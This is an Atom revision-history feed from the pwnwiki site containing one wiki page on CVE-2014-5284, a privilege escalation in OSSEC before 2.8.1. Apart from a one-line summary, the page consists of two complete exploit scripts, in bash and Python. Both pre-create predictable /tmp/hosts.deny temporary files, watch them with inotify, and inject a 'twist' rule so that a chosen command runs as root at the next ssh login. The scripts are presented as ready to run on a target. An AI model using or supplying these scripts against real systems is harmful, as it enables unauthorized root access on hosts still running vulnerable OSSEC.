<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-5284_OSSEC_before_2.8.1%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2014-5284 OSSEC before 2.8.1權限提升漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-5284_OSSEC_before_2.8.1%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-5284_OSSEC_before_2.8.1%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T23:34:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2014-5284_OSSEC_before_2.8.1%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=1101&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== host-deny.sh in OSSEC before 2.8.1 writes to temporary files with predictable filenames without verifying ownership, which allows local users to modify access restric...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-5284_OSSEC_before_2.8.1%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=1101&amp;oldid=prev"/>
		<updated>2021-04-07T08:07:35Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== host-deny.sh in OSSEC before 2.8.1 writes to temporary files with predictable filenames without verifying ownership, which allows local users to modify access restric...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
host-deny.sh in OSSEC before 2.8.1 writes to temporary files with predictable filenames without verifying ownership, which allows local users to modify access restrictions in hosts.deny and gain root privileges by creating the temporary files before automatic IP blocking is performed.&lt;br /&gt;
&lt;br /&gt;
==CVE-2014-5284.sh==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
### CVE-2014-5284&lt;br /&gt;
### Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation&lt;br /&gt;
### Python is nice but doesn't work all the time&lt;br /&gt;
### Exploit Author: mbadanoiu&lt;br /&gt;
&lt;br /&gt;
# Python Exploit Author: skynet-13&lt;br /&gt;
# Vendor Homepage: www.ossec.net/&lt;br /&gt;
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz&lt;br /&gt;
# Version: OSSEC  - 2.8&lt;br /&gt;
&lt;br /&gt;
# Created from Research by&lt;br /&gt;
# Jeff Petersen&lt;br /&gt;
# Roka Security LLC&lt;br /&gt;
# jpetersen@rokasecurity.com&lt;br /&gt;
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1&lt;br /&gt;
&lt;br /&gt;
function create_files {&lt;br /&gt;
	echo &amp;quot;==============================================&amp;quot;&lt;br /&gt;
	echo &amp;quot;Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	for i in $range; do&lt;br /&gt;
		echo -n &amp;gt; /tmp/hosts.deny.$i&lt;br /&gt;
	done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function watch_files {&lt;br /&gt;
	echo &amp;quot;==============================================&amp;quot;&lt;br /&gt;
        echo &amp;quot;Monitoring tmp for file change....&amp;quot;&lt;br /&gt;
        echo &amp;quot;ssh into the system a few times with an incorrect password&amp;quot;&lt;br /&gt;
        echo &amp;quot;Then wait for up to 10 mins&amp;quot;&lt;br /&gt;
        echo &amp;quot;==============================================&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	####insert non-empty logic here&lt;br /&gt;
	&amp;quot;$inotifywait&amp;quot; -e close_write /tmp/ --include &amp;quot;hosts.deny.&amp;quot; |&lt;br /&gt;
	while read -r dir events file; do&lt;br /&gt;
		on_file_change &amp;quot;$dir$file&amp;quot;&lt;br /&gt;
		break&lt;br /&gt;
	done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function on_file_change {&lt;br /&gt;
	local file=&amp;quot;$1&amp;quot;&lt;br /&gt;
	echo &amp;quot;File: $file has just been modified&amp;quot;&lt;br /&gt;
	write_exploit_to_file &amp;quot;$file&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function write_exploit_to_file {&lt;br /&gt;
	local file=&amp;quot;$1&amp;quot;&lt;br /&gt;
	echo &amp;quot; sshd : ALL : twist $cmd &amp;quot; &amp;gt; &amp;quot;$file&amp;quot;	###Don't waste time with printing&lt;br /&gt;
&lt;br /&gt;
	echo 'Writing exploit to this file'&lt;br /&gt;
	echo &amp;quot;==============================================&amp;quot;&lt;br /&gt;
        echo &amp;quot; ssh in again to execute the command&amp;quot;&lt;br /&gt;
        echo &amp;quot;==============================================&amp;quot;&lt;br /&gt;
        echo &amp;quot;               End Prog.&amp;quot;&lt;br /&gt;
	exit&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function verify_inotifywait {&lt;br /&gt;
	if [ ! -f &amp;quot;$inotifywait&amp;quot; ]; then&lt;br /&gt;
		inotifywait=$(which inotifywait)&lt;br /&gt;
		if [ ! &amp;quot;$inotifywait&amp;quot; ]; then&lt;br /&gt;
			echo -e &amp;quot;\nNo inotifywait found on the target!&amp;quot;&lt;br /&gt;
			echo &amp;quot;Configure and make inotify-tools then run this script again:&amp;quot;&lt;br /&gt;
			echo -e &amp;quot;\tcd inotify-tools &amp;amp;&amp;amp; ./autogen.sh &amp;amp;&amp;amp; ./configure &amp;amp;&amp;amp; make\n&amp;quot;&lt;br /&gt;
			exit&lt;br /&gt;
		fi&lt;br /&gt;
	fi&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
#####MAIN######&lt;br /&gt;
cmd=&amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ -z &amp;quot;$cmd&amp;quot; ]; then&lt;br /&gt;
	echo &amp;quot;Usage of program:&amp;quot;&lt;br /&gt;
	echo -e &amp;quot;\tbash $0 &amp;lt;Command_to_run_as_root_in_quotes&amp;gt;&amp;quot;&lt;br /&gt;
	exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
range=$(seq 300 65535)&lt;br /&gt;
&lt;br /&gt;
SCRIPT=$(realpath &amp;quot;$0&amp;quot;)&lt;br /&gt;
SCRIPTPATH=$(dirname &amp;quot;$SCRIPT&amp;quot;)&lt;br /&gt;
inotifywait=&amp;quot;$SCRIPTPATH/inotify-tools/src/inotifywait&amp;quot;&lt;br /&gt;
&lt;br /&gt;
verify_inotifywait&lt;br /&gt;
&lt;br /&gt;
create_files&lt;br /&gt;
watch_files&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==ossec_host_deny.py==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation&lt;br /&gt;
# Date: 14-11-14&lt;br /&gt;
# Exploit Author: skynet-13&lt;br /&gt;
# Exploit Modifier: mbadanoiu&lt;br /&gt;
# Vendor Homepage: www.ossec.net/&lt;br /&gt;
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz&lt;br /&gt;
# Version: OSSEC  - 2.8&lt;br /&gt;
# Tested on: Ubunutu x86_64&lt;br /&gt;
# CVE : 2014-5284&lt;br /&gt;
&lt;br /&gt;
# Created from Research by&lt;br /&gt;
# Jeff Petersen&lt;br /&gt;
# Roka Security LLC&lt;br /&gt;
# jpetersen@rokasecurity.com&lt;br /&gt;
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1&lt;br /&gt;
&lt;br /&gt;
# Run this on target machine and follow instructions to execute command as root&lt;br /&gt;
&lt;br /&gt;
from twisted.internet import inotify&lt;br /&gt;
from twisted.python import filepath&lt;br /&gt;
from twisted.internet import reactor&lt;br /&gt;
import os&lt;br /&gt;
import optparse&lt;br /&gt;
import signal&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
class HostDenyExploiter(object):&lt;br /&gt;
&lt;br /&gt;
    def __init__(self, path_to_watch, cmd):&lt;br /&gt;
        self.path = path_to_watch&lt;br /&gt;
        self.notifier = inotify.INotify()&lt;br /&gt;
        self.exploit = cmd&lt;br /&gt;
&lt;br /&gt;
    def create_files(self):&lt;br /&gt;
        print &amp;quot;==============================================&amp;quot;&lt;br /&gt;
        print &amp;quot;Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        for i in range(300, 65536):&lt;br /&gt;
            filename = &amp;quot;/tmp/hosts.deny.%s&amp;quot; % i&lt;br /&gt;
            f = open(filename, 'w')&lt;br /&gt;
            f.write(&amp;quot;&amp;quot;)&lt;br /&gt;
            f.close()&lt;br /&gt;
&lt;br /&gt;
    def watch_files(self):&lt;br /&gt;
        print &amp;quot;==============================================&amp;quot;&lt;br /&gt;
        print &amp;quot;Monitoring tmp for file change....&amp;quot;&lt;br /&gt;
        print &amp;quot;ssh into the system a few times with an incorrect password&amp;quot;&lt;br /&gt;
        print &amp;quot;Then wait for up to 10 mins&amp;quot;&lt;br /&gt;
        print &amp;quot;==============================================&amp;quot;&lt;br /&gt;
        self.notifier.startReading()&lt;br /&gt;
        self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])&lt;br /&gt;
&lt;br /&gt;
    def write_exploit_to_file(self, path):&lt;br /&gt;
        print 'Writing exploit to this file'&lt;br /&gt;
        f = open(str(path).split(&amp;quot;'&amp;quot;)[1], 'w')&lt;br /&gt;
        f.write(' sshd : ALL : twist %s \n' % self.exploit)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print &amp;quot;==============================================&amp;quot;&lt;br /&gt;
        print &amp;quot; ssh in again to execute the command&amp;quot;&lt;br /&gt;
        print &amp;quot;==============================================&amp;quot;&lt;br /&gt;
        print &amp;quot;               End Prog.&amp;quot;&lt;br /&gt;
        os.kill(os.getpid(), signal.SIGUSR1)&lt;br /&gt;
&lt;br /&gt;
    def on_file_change(self, watch, path, mask):&lt;br /&gt;
	file=str(path).split(&amp;quot;'&amp;quot;)[1]&lt;br /&gt;
        print 'File: ', file, ' has just been modified'&lt;br /&gt;
	if 'hosts.deny' in file:&lt;br /&gt;
	        self.notifier.stopReading()&lt;br /&gt;
        	self.write_exploit_to_file(path)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    parser = optparse.OptionParser(&amp;quot;usage of program \n&amp;quot; + &amp;quot;-c Command to run as root in quotes\n&amp;quot;)&lt;br /&gt;
    parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')&lt;br /&gt;
    (options, args) = parser.parse_args()&lt;br /&gt;
    cmd = options.cmd&lt;br /&gt;
    if options.cmd is None:&lt;br /&gt;
        print parser.usage&lt;br /&gt;
        exit(0)&lt;br /&gt;
    ex = HostDenyExploiter('/tmp', cmd)&lt;br /&gt;
    ex.create_files()&lt;br /&gt;
    ex.watch_files()&lt;br /&gt;
    reactor.run()&lt;br /&gt;
    exit(0)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>